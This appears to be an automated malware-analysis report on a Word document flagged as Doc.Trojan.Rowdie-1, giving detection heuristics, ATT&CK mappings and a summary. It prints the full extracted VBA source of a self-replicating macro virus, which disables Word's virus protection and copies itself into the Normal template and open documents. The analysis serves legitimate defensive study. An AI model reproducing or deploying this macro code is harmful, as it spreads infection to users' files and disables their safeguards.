MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro. The AutoClose macro attempts to export its own code to 'c:\demo.sys' and then import it into either the Normal template or the active document, indicating a likely attempt at persistence. The ClamAV detection 'Doc.Trojan.Rowdie-1' further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Rowdie-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Rowdie-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1469 bytes |
SHA-256: 7dcc5617081dd26bb421ac0299e231ddd9a42d6f4d66af57f7febf6a100ebab7 |
|||
|
Detection
ClamAV:
Doc.Trojan.Rowdie-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module11"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
NormInstall = False
ActiveInstall = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(3, 1) = "Sub AutoClose()" Then
NormInstall = True
Exit For
End If
Next i
For ii = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(ii).CodeModule.Lines(3, 1) = "Sub AutoClose()" Then
ActivInstall = True
Exit For
End If
Next ii
If NormInstall = True Then NormalTemplate.VBProject.VBComponents(i).Export "c:\demo.sys"
If ActivInstall = True Then ActiveDocument.VBProject.VBComponents(ii).Export "c:\demo.sys"
If NormInstall = False Then
Set Dobj = NormalTemplate.VBProject
Else
If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
act = 1
End If
If act = 1 Then
Dobj.VBComponents.Import ("c:\demo.sys")
ActiveDocument.Save
ActiveDocument.Saved = True
Exit Sub
End If
Dobj.VBComponents.Import ("c:\demo.sys")
End Sub
Sub ViewVBCode()
'This is Buggy by Roadkil[UC] 1999'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.